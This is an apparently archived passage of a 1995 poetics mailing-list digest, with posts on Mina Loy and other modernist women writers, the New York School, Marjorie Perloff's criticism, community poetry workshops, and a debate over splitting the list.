I'm tuning in kind of late here on the boy-talk/theory thread, but in response to Gary Sullivan's observation that Mina Loy, Gertrude Stein, and Djuna Barnes didn't "provide separate bodies of critical writings," I feel that I must point out that (depending of course on how we are defining bodies here!) Mina Loy did. In the mid twenties she felt so compelled to draw out the theoretical implications of Stein's aesthetic that she pressed the word 'deconstruction' into circulation-- this was in Ford's transatlantic. And I think the entire notion of 'deconstruction' (in the parisian, sixties ense of the word) was intelligible to her because of the way her sense of sex politics shaped her aesthetic from the beginning.

Gary Sullivan's observation interests me though because it leads me to wonder--what "counts" as theory? If I can use Barnes' article about how it feels to be forcibly fed (as she allowed herself to be, in sympathy for the British suffragists) as a way of reading her work, then doesn't it stand as theory? Maybe these

writers theorized in ways that are still invisible to too many of us. (That comment really is a general one, and not directed against Gary Sullivan, who raised the question well)

I think it was Naomi Schor who figured out that Freud didn't believe women could theorize.... that what we supposedly do instead is construct paranoid observations based on the repressed or projected (but in any case, apparently intellectually stifling) experience of our own bodies...Loy was forced to write an epic in response to this sort of thing.

More in a minute!
--Marisa Januzzi

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410. GERI L. BAUMBLATT
Re: subscribing to Poetics list
Fri 24 Feb 1995

Hello-

Ann Lauterbach and I attempted to send you a message last night, and this morning I found it was undelivered. Ann is currently in Denver for the quarter and would like to be added to the poetics list. Her e-mail address is [redacted]

I'll give her your correct e-mail address tomorrow, but I wasnted to be sure that she was added as soon as possible.
Many thanks!

p.s. Please tell Susan Howe that her students at Denver miss her.

--Geri Lynn

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411. Marisa A Januzzi
Kenneth Koch and the New York School
Fri 24 Feb 1995

...Hello again,

It was unimaginative of me, I know, but I couldn't figure out how to connect the Girl-talk/theory thread with Kenneth Koch... which leads to the question I would like, in all seriousness, to ask: does he have female readers? I am very interested in the relative lack of discussion about New York School poets (a few exceptions aside) at conferences, and here too. Tenney Nathanson brought up the lineage question (what did they do that hasn't been picked up by language poets) and the *question itself* wasn't even picked up. I'm wondering if it's in

part because of the apparent sexual politics of, for instance, Koch's stories (and his ART OF LOVE). Or is it a generational blind spot?

KK is about to turn 70 (!), and a celebration reading/performance is being planned for March 23, 7:00PM, in New York City.... yours truly is curating the food. Anyone interested in participating in some way, or anyone wishing more information, can contact me at <[redacted]>.

Meanwhile I continue to admire his recent two collections with a lot of unanswered questions surfing the brain.

Has anyone else picked up Anne Porter's work, by the way? I'm not sure she would have wide appeal among members of the list, but I was surprised and moved by her stuff, the way I was when I first found Schuyler.

that's all she wrote
--Marisa

↑ Index

412. cris cheek
New Flavours
Fri 24 Feb 1995

Re - Ann Louise Vickery's post on Hokey Pokey being the first musical ice cream, wasn't it pipped to the cone by the Tutti Fruitti?

cris

↑ Index

413. cris cheek
Re: POETICS Digest
Fri 24 Feb 1995

I'm confused, not having seen James' post about dividing the list into categories. What's the proposal? How will it work? Who is going to decide what is and what isn't an issue? It looks a very slippery slope to me! Not having been able to read what must have been a serious discussion I'm curious as to what the benefits can be. And isn't it true that sometimes hot issues emerge from the pan-handling of what appears to be nothing more than playful chit-chat? Jokes and deliberate (nay wilful) misunderstandings can provide unexpected impetus for flight / engagement. But is this more an instance of net flight -, establishing a compound safe from the rabble at the gates?

cris

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414. Tom Mandel
Re: POETICS Digest
Fri 24 Feb 1995

I'm with Chris Cheek, and think "dividing" the list wd only "multiply" the problem.

One firm suggestion: puh-lease send private notes privately. This alone wd make the list easier to handle. Moreover, if a discussion turns out to be between you and one or two other folks, send messages among yourselves if you can bear not to place your message before this public.

That was more than one suggestion. Here's a final one: consider carefully whether the funny remark you are about entropize electrons with is really likely to be so received among the several dozen other puns on hokeypokey, etc. (I am sure I am as guilty as anyone, btw).

Restraint in these areas would lighten the load, clarify the focus of the list, and make my life at least a little easier to manage in this particular.

But, lets not divide a thing all the same.

Tom Mandel

↑ Index

415. Tom Mandel
John Thorpe
Fri 24 Feb 1995

How great that John Thorpe's work should come up on the list. I read Cargo Cult in awe when it first appeared. When I was Director of the Poetry Center at SFSU, Thorpe was one of my first choices to read. Please find and absorb his work.

Tom Mandel

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416. Michael Boughn
More discipline
Fri 24 Feb 1995

I definitely think more discipline is in order. Perhaps we should assign some police to make sure that the personal is kept out of here. Especially warm or fuzzy personal stuff. Please, keep it hard, precise, and penetrating.

↑ Index

417. Joe Amato
Re: e-ager posters
Fri 24 Feb 1995

chris, about the "transitory" nature of this stuff: unlike paper, it's got the potential to be around FOREVER... to be duplicated, forwarded, copied, downloaded, what have you... it's *anything* but transitory, though the dynamic of exchange has much to do with the feel you detail...

james: to discuss what to do with this list (and your suggestion really amounts to starting yet another list) in these parts is to introduce another meta-thread INTO this discussion!... this is ok with me, but i'm sure you see that what you've done is created another topos that is likely (witness my post, THIS POST) to cause another little stir...

by which i mean to say that EVERY list will go through this sorta thing... even if this list bifurcates, it's very likely that somebody down the line will propose what amounts to a change in direction (up to and including another list)... though your suggestion SOUNDS tidier, i doubt that it will prevent public service announcements (if you will) from being posted ultimately to BOTH lists...

just my two bits on this... spin-offs of all sorts are always a possibility, but they generally only 'solve' "clogging" problems by creating more traffic...

best,

joe

↑ Index

418. braman sandra
That Talmudic Range
Fri 24 Feb 1995

The exraordinary intellectual stimulation of Talmudic study comes from the need to try to develop logical or linear coherence out of the record of an oral conversation -- topics in the Talmud move easily from questions of Shabbat practice to the issue of whether or not giving the infant oatmeal will make it stop crying.... (Of course, study of Talmud is an oral practice of the study of an oral text, despite all that emphasis about being "of the book"....). Let's keep our richness on the poetics list and not divide it. Sandra Braman

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419. braman sandra
Topical Convergence
Fri 24 Feb 1995

At last, all of our conversation has come together -- about the relationship between theory and poetry, about the relationships among the genders, and about that darned ice cream problem --

The epic poem that ought to result is called:

EVEN SHIVA DOES THE HOKEY-POKEY

Thanks, George.

Sandra

↑ Index

420. Robert Drake
Re: community request
Fri 24 Feb 1995

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i was walking by the elementary school the other day, near-west (urban poor) neighborhood, and picked up a paper, a poem:

"Yo, my name is crack cocaine,
I promise you pleasure but I give you pain..."

& so on. i've seen it, or versions of it, before. doggeral. doggeared. a xerox of a xerox of a xerox, multiple generations. i wouldn't be surprised if it had more readers than any of the latest from sun & moon.

i sat down in the arcade to eat my lunch last week, some kid
had left their notebook--study hall notes, doodles, and a
coupla poems she wrote...

when i was setting up the In-Yr-Ear poetry hotline a while back, i went to radio shack to buy an answering machine. the salesman was a big yeats fan. then, when i went to the print shop to get business cards made up, the grandmotherly woman at the counter admitted she write poems, "but i never showed 'em to anybody."

taproot reviews recieves about 25 publications (zines & books/ chapbooks) a week. i'm sitting in a room, w/ _7 milkcrates_ full of incoming, to-be-reviewed books. almost none of 'em from university affiliated presses, much less major publishers... and i cleared out the studio of backlog about a year ago

i'm mentioning all this, 'cause the common knowledge is that the "communities" for poetries are various factions--iowa workshop, langpo, multiculti...--that have in common a schooled self- awareness, and a self-definition that stands in

relation to "the mainstream", either in it or forcably excluded from it. what yr talking about studying sounds like it might be able to consider the place of poetry in communities in a larger sense, beyond what's usually considered appropriate. hope so, anyway.

allbest

luigi

↑ Index

421. **Chris Stroffolino**
Re: POETICS Digest - 21 Feb 1...
Fri 24 Feb 1995

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dear james and sheila--the problem I see with dividing the list between information and "opinion" is that the segregation that is already latent in the current list will simply become more foregrounded. When Steve Evans asked if he should stop posting FREELEY ESPOUSING info. on the net, the vast majority said NO--now, if you're suggesting a segregation here, it's going to have the same effect (it seems to me--at least no -one's suggesting a FEE for this yet, but i expect that to come $oon enough...best chris stroffolino

↑ Index

422. **Edward Foster**
Re: POETICS Digest - 21 Feb 1...
Fri 24 Feb 1995

---

ditto.

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423. **Chris Stroffolino**
Re: More in re: Radical Artifice
Fri 24 Feb 1995

I appreciated Gary Sullivan's remarks on the lapses of MAINSTREAM Lang po (Li Po's bastard bro) and the implications of the politics that often surround it. And Ira lightman's notion that Gary is mistaking Perloff as an "enemy"(if Sullivan is doing that) is well taken too. The question all too often seems to come down to "do we bank on the 3 or 4 big names" or do we really break down the constand Bernstein/Howe(Susan not Fanny) appeal that is made as a kind of metonomy, synechdoche in a kind of representative parliament of the avant-garde...of course all of this seems contradictory in a generation who claims to be ANTI-the notion of heroes, the trouble with genius, no cult of personalities, etc... I've read some Davidson (they mostly have one word

titles) but not the book Sullivan's press published...I assume it's still in print.... Chris Stroffolinoz

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424. I.LIGHTMAN

Re: More in re: Radical Artifice

Fri 24 Feb 1995

I do just want to respond a little to Gary Sullivan's remarks about Marjorie Perloff's _Radical Artifice_, perhaps also in the context of the girl/boy/tone discussion which, as an anti-rape activist, a consistent grader of girls higher than boys in my classes, and a co-editor of a British anthology of contemporary experimental women's poetry, I continue to find Kali Tal wrongly putting me on the wrong "side" of. Let me say first off that I agree with Gary Sullivan that Daniel Davidson's _Product_ is a wonderful, brilliant work, so as to assure him that I am not hiding a partisan agenda underneath my comments. More on _Product_ in a minute. I happen to also think that _Radical Artifice_ is a wonderful, brilliant work too - please let me add that I do usually use such terms of real esteem sparingly. I always read Marjorie Perloff's writing wherever I can find it. Many of her books mark and back up a critical moment, usually in sea-changes in literary academic trends, and they do so in such a language that they succeed (in my experience) in appealing to the kind of mindset and rhetoric of correctness that most academics do have, and, having got their ear, pour a little of the present into it. Put more simply, Marjorie Perloff has always seemed to me to be the kind of rare and invaluable university teacher who actually keeps *updating the syllabus*, putting new books on; and what I'm trying to say about her critical prose style is that I think it is very effective in appealing to very static unchanging teachers to also update their syllabus. It's hard to say how, but I think it's because she awakens the sense of seriousness that academics should have, and usually only have in their inflated sense of themselves. She writes, in my opinion, given this audience, with brilliant cajoling rhetoric. This is important work, and much more likely to succeed in getting teachers to update their syllabus, than different kinds of rhetoric; for example, huge sweeping generalisations against academia in general. I hope that it might be appreciated as a subtlety that I applaud this in Marjorie Perloff, even though I myself prefer vainglorious sweeping generalisations against academia in general. I cannot but, after all, acknowledge the reality; that her method works, and is professional, mine doesn't, and is done out of selfish pleasure and despair. I hope Kalil might appreciate that if I draw attention to myself by saying this, it is also to welcome criticism. The book is called _Radical Artifice_. Might not this be seen as also describing itself, without quite so much rancor? Like all books, it has

authors it wishes to discuss, one, and wants to inaugurate a whole new area of study, two: in this case, poetry and media, poetry as media. Of course there won't be a tidy fit, that's what Perloff argues for all the# authors she discusses. Instead, it has an elegant surface, and, to quote a phrase, throws down the gauntlet: go ahead and top this, with different authors, different critical footholds, and rival me for prose style, why don't you? I myself find this kind of confident stylishness really exhilarating. If anything, _Radical Artifice_, taken as a part of a body of work, moving from discussing Lowell and O'Hara, opening territory with Cage and with futurism, shows a questing writer moving through and against the dominat avant-garde of the sixties and seventies, and finally producing her most assured and "this is my moment" work; or, as Cage found, switching from being a strongly opinionated and ambitious student of the art seeking out and talking to those she esteems, to becoming someone others will esteem. In this, Perloff's journey, as I'm putting it, resembles and indeed illuminates the Language Writers, who are after all critics as well as poets, more as one of them than anything else. For me anyway, reading all of Perloff's much more readily available books helped me to find a way into Language Writing, both its "forms" and, more importantly, the culture, the history of opposition, its writers come from. So that it seems to me to be too harsh and mudthrowing to attack her work in this way. Yes, there is a Sun & Moon connection, but as I am suggesting that would be more understandable if Perloff was seen as a kinf kind of poet-critic. Donald Davie, in England, does just the same, and is attacked just the same, in writing his books mainly about poets from a press on which he is an editor. But, for Heaven's sake, isn't this a way of a critic putting money where the mouth is: not just writing about groundbreaking writing of the past, but trying to get current groundbreakers into print, and read? Pound would have thought so. And just as Pound and Davie, Perloff has her favourites: Thank God, a criticism motivated by pleasure and excitement and a feel of radical energy, instead of politcal correctness! This is why, as a gender-conscious writer, I am reluctant to enter the discussion about gender we've been having; if I criticise any writer, it is on non-sexist grounds, and yet in such an atmosphere, it won't be seen that way. If I do have reservations about Perloff's writing, it is that writers she dislikes (eg Larkin) get attacked in a way that seems to use very big weapons (MacKinnon-like psychoanalytic equating of pathetic male bravado as evidence of ... well, actually, self-hatred in a man who didn't actually do much real harm to all the people he privately and rhetorically fumed at; being part of New Criticism, when he hated academic dissection of work; being "fascist" - sic - for fantasising the destruction of all high culture, in favour of low culture; how can "fascist" mean anything then, when Pound wanted the reverse of Larkin and is also fascist?

And reservation two would be, but this is not uncommon on this list, that Perloff gives so little time to anarchist thinking - and Davidson's Product seems to me to a very anarchistic book, in the sense of Prince Kropotkin and Colin Ward. As with a lot of the writers she discusses, the politics are often statist socialism, and the rhetoric harsh enough to storm the bastille with. Davidson's is angry, but also not wanting to be President. Again, I don't think either approach is wrong, and again, looked at realistically, statist radicalism energises more people, and energised people in a state of change is not to be sniffed at. But I would, certainly, like to see Perloff continue to be a fascinating and impassioned critic writing very publically, and find some room - as Davie does sometimes - to appraise a writer with a very different strategy almost as if it was worth believing in. Even if she doesn't, she's still a writer I will always read, annoyed or not. I missed this sense of acknowledgement in the attack on her. She's not the enemy, she's the energising rival. Emotionally one may be provoked by her critical skill and wish it were directed at one's own favourites - precisely because it's good prose. Product is a good favourite to have, a good thing to have an emotion about, but I suggest that, only by humbly honouring what is good about each other, will we see that good prose written about our own favourites - by writing in emulation of a powerful (female) contemporary, ourselves.

Ira

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425. RSILLIMA
Poetry in the community
Fri 24 Feb 1995

David McAleavey is way too modest. He's been a fine poet for at least 25 years that I know of and can take credit for having published, via Ithaca House Press, the first books of yours truly, Bob Perelman, and David Melnick, as well as Ray DiPalma's second (Soli). In fact, I met Ray first through that connection back when Ray still taught at Bowling Green in Ohio. McAleavey is also the man who taught me to play chess, but that's another story.

When I ran a writers workshop in the Tenderloin in SF (1979-81), something on the order of 250 different people would attend one or more sessions, usually with work in hand, over the course of a year. (There was a core group of maybe 40 people, 25 of whom could be counted on to show up every week.) They ranged in age from 14 to upper 70s (one had been a student of Zukofsky's at SF State in '58), all races, sexual orientations (there were at least 6 represented), lifestyles, as they say. Some, like Bob Harrison (Hi, Bob), Marsha Campbell and Mary Tallmountain have done considerable publishing. One fellow (I'm blanking

on the name) worked on an article that was eventually published in Mother Jones exposing the presence of PCBs in telephone transformers and outlining their toxic implications. Bob Holman once attended a session while visiting SF during which two of the writers had a serious disagreement over the details of Santeria and put hexes on one another. As a result of another incident, the workshop adopted a no guns in class rule. It was that kind of scene. Kit Robinson ran the same workshop after I left, as did John Mason. (And Erica Hunt was on the board of directors for awhile before she moved to NYC.) It's still happening I believe, every Wednesday night at Hospitality House, 146 Leavenworth, SF.

What impressed me most was how writing (poetry and fiction mostly, but not exclusively) was being used by the people in the workshop. It was very close to Paulo Friere (I probably just butchered that, sorry) and his use of photography as outlined in Pedagogy of the Oppressed. Writing provided a form and focus for thinking through their lives in a critical (in the best sense of that word) fashion. Furthermore, 250 represented over one percent of the entire community.

It's important to remember that the Tenderloin is one of the poorest neighborhoods on the west coast (and has been transformed considerably since I worked there), so these folks in general didn't have a lot of toys and other distractions (very few were involved in family or even significantly bonded relationships). But any time you have one percent of a community writing, it's worth thinking through. The work ranged all over the map in style and general sophistication and I ran into a couple of real lumpen writers who were doing amazing things that, to this day, I've never seen anywhere else (I'm thinking of Harley Kohler and Spider James Taylor, whom Kit and Erica at least know) and whom to this day have barely ever been published.

I wonder if I would have gotten one percent in a more rural (or even suburban) setting. Out where I work in Southeastern Alameda County, there's only one visible literary movement: romance novelists. There are between 20 and 24 publishing romance novelists out here, who will all be happy to tell you that 40 percent of all paperback books bought and sold are in their genre. They range between Christian Fundamentalist "housewives" (that's a self-designation) to a biker couple out in Livermore. Since I don't read that genre, I can't tell you a lot more, but I get a sense that for them a magazine like Writers Digest is a living tool in a way that no poet has ever found it.

But whenever/wherever I travel, I come across local writing communities that suggest that something much like this use of the written word is very widespread just beneath the surface. Certainly a look at the poetry items on the Usenet groups suggests that a dimension is going on there as well. One percent

of the US population is over 2,000,000 people. So it wouldn't shock me at all to discover that one million really do write, maybe half of them writing poems. If Jimmy Carter's writing poems, who isn't? (And yes, Marjorie, I want you to read ALL of it.)

This is where the "clubbiness" of so much of the "world" of the poetry as outlined in the NYT seems completely nuts.(Charles Alexander is completely right about that.) And why even worrying about a failed institution like the Times seems ultimately a waste of breath. There is a hell of a lot of poetry out there. And, under the right conditions, there's an audience for almost all of it. Amen!

Ron Silliman
[redacted]

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426. **Bill Luoma**
Re: e-ager posters
Fri 24 Feb 1995

I agree with Tom Mandel that dividing up the posts would only fragment the current energy that's starting to build. It's starting to get fun. It's a good thing for people to get excited.

bluoma

↑ Index

427. **eric pape**
Re: POETICS Digest
Fri 24 Feb 1995

I'm very worried that Chris is correct here; that what we might be talking about is a kind of listserv Jim Crow. I don't think that is the intention, but could be the result. I've seen stuff happen like this on lists before, ie, someone complains about "the overload of irrelevancies," asks for more "discipline," and what makes lists fun and important, the spontaneity, the misunderstandings that lead to more productive posts, vanish. But hey, this comes from perhaps one of those "exhibitionists," maybe? Maybe in some way that obviates my remarks? Thanks, Eric.

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428. RSILLIMA
List management
Fri 24 Feb 1995

Dividing the list won't improve what ends up in my to-be-read box on my receiving system at all, just increase the number of sources I get mail from. I also wouldn't be especially happy w/ a list moderator system (like the Sixties List has, for example). The Sixties List for example has kept off messages about the NEH battle, partly because it's not "on topic" but really I suspect more because a professional rightwinger like David Horowitz is on the list, ready to pounce on any "misuse" of an "edu" domain. I appreciate the contentious nature of some of the messages on the Poetics List and wish only that a broader community of poets were here and active.

Someone mentioned a New Formalist listserv awhile back. Does anybody have subscription info to that? Inquiring minds want to know.

Ron Silliman
[redacted]

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429. Carl Lynden Peters
McAleavey: community
Fri 24 Feb 1995

Feb. 24, 1995

Dear David McAleavey,

Your post on community and poetry interests me a great deal: the issue you foreground is similar, in fact, to a dissertation topic i'm working on: poetry/storytelling/moral law/community. It'll be a few more months before i actually start to approach the thing concretely; however, i do know that i want to focus on bpNichol's long poem THE MARTYROLOGY. i think it's an excellent text which raises new questions re the relation between theory & practice, theory/praxis, and interdisciplinarity , as well as questions of community, communal, sacred & visionary.

i'm very interested in hearing more about your work-

-and looking forward to meeting you in the machine, so to speak

Take care,

Carl Peters

PS: hope this message gets to you without any distortions. i'm new to the system and its one i haven't really felt comfortable with nonetheless

↑ Index

430. Jennifer Theresa Raney
Re: Mina Loy, Djuna Barnes, separate bodies
Fri 24 Feb 1995

I'm dropping into this conversation very late, but something caught my eye:

The question of a distinct body of critical, theoretical, or prescriptive writings in a poet's work makes me proceed with caution...but as long as we are on the subject of Loy, Barnes, Stein, I wondered what Gary Sullivan (excuse me if I'm misdirecting this response) thought about Loy's "International Psycho-Democracy," "The Artist and the Public," "Phenomenon in American Art," or her many Aphorisms or "Feminist Manifesto," as well as the essay on Stein mentioned by Marisa Januzzi? Although I am infinitely more interested in the theoretical implications of work such as "Brancusi's Golden Bird" or "Love Songs," the examples above are clearly self-consciously didactic statements. I would agree with Marisa Januzzi that the social dimensions of Loy's work feed her aesthetic sensibilities. "What counts as theory?" --certainly "Love Songs to Joannes" or "Anglo-Mongrels and the Rose"! But...how could one say that Loy has no separate theoretical body??? In Roger Conover's edition of The Last Lunar Baedeker, he even portions out several works under such a title in the table of contents...

Jennifer Raney

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431. Jennifer Theresa Raney
Re: Mina Loy
Fri 24 Feb 1995

P.S. While on the subject:

Does anyone know to what "Q H U" refers in section 19 of Loy's "Love Songs to Joannes"?

JRaney

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432. **RSILLIMA**
NY School
Fri 24 Feb 1995

A compleat map/geneology (can't decide whether I prefer a spatial or temporal metaphor here) of the NY School would probably take about 10 dissertations to get half accurate.

I'm always amazed at how individual poets (including individual "NY School" poets) seem to draw the lines. I've never seen two the same. Not even remotely.

I've heard arguments, like the one Darrell Gray used to make, that you couldn't "get" O'Hara until you saw how he extended the work of David Schubert, whose work came back into print awhile ago thanks to Ted Weiss. And at Naropa last summer I met students who had taken classes on the NY School who'd NEVER even read Koch. And had not heard him mentioned in the course (at least so they said, and they were not what Ginsberg refers to as the "chemical derangement of the senses" students either).

One thing does seem clear: it is the only one of the so-called New American Poetries that has maintained a sense of unbroken intergenerational continuity over close to half a century. That's pretty amazing. But I'm not sure what it means.

My theory is this: it means that the "first generation" didn't actively halt or stomp on the second one (FOH was dead, Ashbery still in Europe, Schuyler a recluse and Koch seems to have been actively supportive of younger poets) and once a more diverse scene was established, nobody was in control and something like a laisez farie democracy ensued. Permission and support is actually a pretty good model on how to behave toward younger poets. It doesn't hurt when the younger people are as forceful as Anne Waldman or Ted Berrigan either.

At my 3,000+ mile distance, I got my sense of the scene most constantly through Tom Clark's Paris Review editing (which to this day still seems to me to be the most significant contribution he's made), not realizing that he was not in NYC and that some of his pals (Clark Coolidge for one) weren't either. More than any of the anthologies or more local mags, it's the image I still carry in my head.

I know people who love Koch and people who can't stand him but who consider themselves "NYS" influenced. Personally, I think _When the Sun Tries to Go On_ is one of the great longpoems of the 20th century, but I'm more ambivalent about the broader satirical pieces. I think we have a different sense of baseball.

W/ my own lumpen background, I just don't "get" some of the influences on NY School poets (esp. in the first generation) from, for example, British and/or

American academic poets (Auden, Bishop) etc and from musical theater. Ashbery, for one, never seems to have worried about his relationship to the Pound/WCW tradition and that distance from what I (especially as an anxious youngster, ready to "take sides") saw as the more rigorous post-Olsonian attempts at articulating a social theory of the line. They just didn't seem to worry about theory. (In fact, worry isn't a major theme in their work as I think it is for several of us, tho I'm not sure what to make of this either, tho I'm a little envious.)

One thing I see today when I think of "NY School" is that there are a lot of women empowered within its tradition, such as Lee Ann Brown and Eileen Myles, and that it still seems to be evolving, interesting and sometimes quite powerful.

Ron Silliman
[redacted]

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433. B. Cass Clarke
Golden Whip
Fri 24 Feb 1995

Dear Mike, all,

Since the dogs have answered the call to circle the sheep and get them off the lawn, a 911 is belated. Her golden whip is more effective than any show of male erected wit.

B. Cass Clarke
[redacted]

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434. keith tuma
second
Fri 24 Feb 1995

Here's another request for subscription information on the New Formalist list. I want to slink on over there and lurk for awhile.

--keith tuma

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435. **Spencer Selby**
Re: List management
Fri 24 Feb 1995

I agree with Tom Mandel and others that the List should not be divided. People should police themselves, try to be aware that weeding thru all this is a problem for everyone.

Spencer Selby

↑ Index

436. **Spencer Selby**
A Cockney Sparrow
Fri 24 Feb 1995

Dear Tony Green:

If you want to define theory that broadly, then we have less argument--none in terms as you've extended my statement about "anticipation." I personally think this is where poetics and theory don't overlap. Where poetics is but theory isn't would be the most necessary area to me--and the least dangerous.

Spencer

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437. **Stephen Galen Cope**
Charles takes young prince and princess fox-hunting
Fri 24 Feb 1995

Subject: Charles takes young prince and princess fox-hunting
Copyright: 1999 by The Anti-Hegemony Project
Date: 24 Oct 99 01:30:00 EST

Lines: 20

BUFFALO (AHP) - Heir to the throne Prince Charles took his young son Gary and daughter Cass hunting yesterday, defying popular disapproval to initiate them into a traditional poetic pastime.

``I think anyone who knows anything about the history of poetry can tell you, the skills necessary for tracking and killing an animal are similar to those required for ruling the Imagination,'' said Yunte Huang, a spokesman for the Prince.

``It was ... like shooting fish in a barrel,'' gushed the excited princess. ``I wanna go out again.''

The royal trio were lashed by rain for several hours as they

rode with the down-jacketed Poetics Hunt across rolling hills near Charles' country estate, The Fountainview Apartments, in Amherst.

Group bleari.nooz.poesy available: 1848 - 1917 unread: 0

article 1917 6-NOV-1999 12:00:00

Gary, 10, and Cass, 12, have ridden at earlier meets but devotees of the sport said this was their first full-fledged critic hunt.

Charles, often accused of being out of touch with contemporary developments in poetry, has insisted his heirs should learn to hunt despite the anger of opponents who say the sport is bloodthirsty and cruel.

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438. **George Bowering**
Re: POETICS Digest - 21 Feb 1...
Fri 24 Feb 1995

Oh, FREELEY Espousing!

I thought it was CREELEY Espousing!

Sorry--

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439. **George Bowering**
Re: Topical Convergence
Fri 24 Feb 1995

Okay, Sandra, let's get that epic p[oem started:

"And then went down to the ice cream parlour,
Set paddles to Pokey, girls & boys, a godly C, and
We set up housekeeping, and sail on a sweat shirt . . . .

===or maybe this whole session has been epical.

↑ Index

440. **George Bowering**
Re: More discipline
Fri 24 Feb 1995

I think that M. Bone is right.
Let's whip these users into shape.

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441. Tim Waples
Re: New Formalist list?
Sat 25 Feb 1995

According to RSILLIMA:
>
>
> Someone mentioned a New Formalist listserv awhile back. Does anybody have
> subscription info to that? Inquiring minds want to know.
>

Ron & others,

I'm guessing you mean CAP-L (Contemp. Amer. Poetry), which is moderated by Richard Abowitz. The address to subscribe is:

[redacted]

I lasted about a month, then just couldn't take it any more. It's all yours!

Tim Waples
[redacted]

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442. Chris Stroffolino
Re: NY School
Sat 25 Feb 1995

dear ron---thank you for taking up on marissa's NYS post. There's many questions I'm interested. The assumptiomn that NYS poets don't worry??? There is the sense of the "laissez faire" Ashbery, the failure to write "critical (non-poetic) prose", the question of the relation to the Pound- Williams tradition (which is a whole other question---though I hear much talk of it, and Marjorie Perloff's perception that hardly anyone is both deeply engaged with both POUND AND STEVENS is interesting---One thing here is that instead of Pound and Williams as the "forward looking" and Stevens and Eliot as the "backward looking" of those "big 4" male modernists, there is an equally valid contention that Stevens and Williams are the more "forward looking" and Pound and Eliot "backward"--to say nothing of Loy, Moore, Stein, Riding...but I DIGRESS)... Anyway, reading Auden lately it's clearer and clearer to me his debt to Riding (stylistically if not sensibility wise)...and Riding (who Ashbery claimed among the three biggest Am. nfluences) is as rigorously THEORETICAL (though that's not quite the MOT JUSTE) as Pound. In fact, contrasting THREE POEMS with THE TELLING (published less than a year apart) could be a very illuminating academic paper (hint, hint). I'm only "scratching the surface" but i'll shut up

now. But, there IS a nother question that has been on my mind, RON, since you posted your NEW YEAR'S NOTE invoking Leanne. I'm curious why you consider her a NEW YORK SCHOOL poet? It can't be quite the "historical" reason Tom gave for calling himself a LANG PO? Is it because she was IN NYC? Is Waldman a NYS poet? She's not (historically) a beat? But what does one call those who address the same issues the beats did but are not males with gottees and bongoes (as Jerome Sala would point out)? Not that this name game really matters (i feel silly quibbling about it) but I am curious about how "affiliations" are constructed from the outside in. Chris

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443. George Bowering
Re: theory & truth
Sat 25 Feb 1995

"The Pen is mightier than the theory"

-- Pessoa

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444. WILLIAM NORTHCUTT
Re: second
Sat 25 Feb 1995

Before anyone hands out the New Formalist list so that Keith Tuma can "lurk" over there for a while, remember that he is a 400 lb ogre, stalking the manicured lawns of Miami U. Dana Gioia might not be able to find a ready form for handling such a thing.

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445. Michael Boughn
Re: Loy, Stein etc.
Sat 25 Feb 1995

It's interesting that the recent posts from Gary Sullivan, Jennifer Raney, Chris Stroffolino, etc. citing modernist women writers have all omitted reference to H.D. Why is this? (I'm really not trying to guilt anyone into including her, I'm just interested in why she has (once again) been excluded.) Any answers? (Keeping in mind the significance of repression and omission).

Best,
Mike
[redacted]

↑ Index

446. WILLIAM NORTHCUTT
Re: Mina Loy, Djuna Barnes, separate bodies
Sat 25 Feb 1995

Since Mina Loy seems to be so popular on this list, is it possible that some of our co-lister publishers might take it upon him/her/itself to republish the Last Lunar B? Trying to get a copy of this has given me a feeling of frustration comparable to Pound's frustration over not being able to find a cheap edition of Martin Van Buren.

[redacted]

"I am lost in these trousers / And empire." --Louis Zukofsky's "A"

↑ Index

447. Ann Louise Vickery
Re: Stein, Loy, H.D, et al
Sat 25 Feb 1995

I'm afraid that at the time I entered my message I had not read Gary Sullivan's posting fully because its subject title was regarding Sun and Moon. As I'm a subscriber to four fairly busy lists, I tend to skim through a lot of messages then sit down and go through the ones that might be of interest when I have more time. I realize now that I should have read your posting more fully as you were converging the issues in a way that I hoped somebody would. This is probably a bit out of date now but I thought I should apologize.

As far as earlier experimental writers (not necessarily women) who bring up feminist issues in their writing, Gary covered many of the women that are already fairly institutionalized on academic courses (and H.D. was also mentioned-thanks).

Perhaps it are those who are not so well known that also need to be mentioned if not just for revising the poetic map. Although Lorine Niedecker never wrote any essays as far as I know on theory in the same way that Stein or Loy did, her letters are full of her debating the feminist implications that certain directions in poetry may hold (Daphne Marlatt's vs Jean Daive minimalism for instance). Perhaps it is because she was on the edge of what has since been seen as a "movement" that she has been recently recovered, whereas there are many other writers who still remain forgotten-women who did not have the support network that people like Stein and Niedecker did. How many indigenous North American women writers have been mentioned on this list, let alone from other non-European and non-American countries? In the 1920s in Australia, Lesbia Harford was exploring the relationship between class and gender through her poetry in ways that overlap with Niedecker and others. Yet, she remains

largely unknown not only here but elsewhere. She's just one that I thought I'd mention.

I also apologize for my icecream 'melt'-we have the NZ icecream co over here & I might have discovered hokey pokey icecream through it. What came first-tutti frutti or hokey pokey might be more a question of which came first-the chicken or the banana peel. I would also like to put a vote towards keeping the list together-at least for now. I don't know quite how you could toughen up on moderating the list-how have other lists handled the problem? Does anyone know?

Ann

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448. **John Cayley**
Re: community: questions from what floor
Sat 25 Feb 1995

Feel strongly that it would be wrong to split or police this discussion. Apologies if any interventions from this quarter have been read as ill-judged (probably were) or contributed to what sense there is of waste.

Genuinely fascinated by the nature of this medium, cf. Cris Cheek's succinct summary of its virtues and possibilities, (already quoted). The cocktail, book-launch, preview party is an apt metaphor, as much for the implied power/gender structures as for the indication of a likely tone.

And the gallery is in the background, behind the chit-chat and idle banter with some fine works to be viewed over a quiet drink once you are cut loose from some particular conversation (although here the situation and the talk are the works). The latter image pertinent because one of the valued and to-be-defended aspects of visiting, say, a gallery is the ability to move past art works at high velocity dismissing whatever at the time seems irrelevant, distasteful or plain bad -- in the not-so-secret knowledge that what you are dismissing may be (is) important, interesting even great work. No one is forced to attend to anything in a gallery space and DOS forbid that they ever should be.

Just so, our mailboxes are clogged but we have the power to empty them as necessary or desirable. Decisions like that should be left as close to the grassroots as possible, as a matter of principle.

Finally, in this discussion surely the ludic, the occasional piece/fragment of poetics, parody, whatever is not only to be expected but encouraged, allowed to become a integrated part of the more usual discursive contributions? No, personal letters (unless they are open) shouldn't be posted (it can be

embarrassing) but if you didn't overhear something like their contents from time to time it would spoil atmosphere of the party.

You want to be someone else or to become part of the process.

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449. **Gary Sullivan**
Re: Loy, Stein etc.
Sat 25 Feb 1995

Dear Michael:

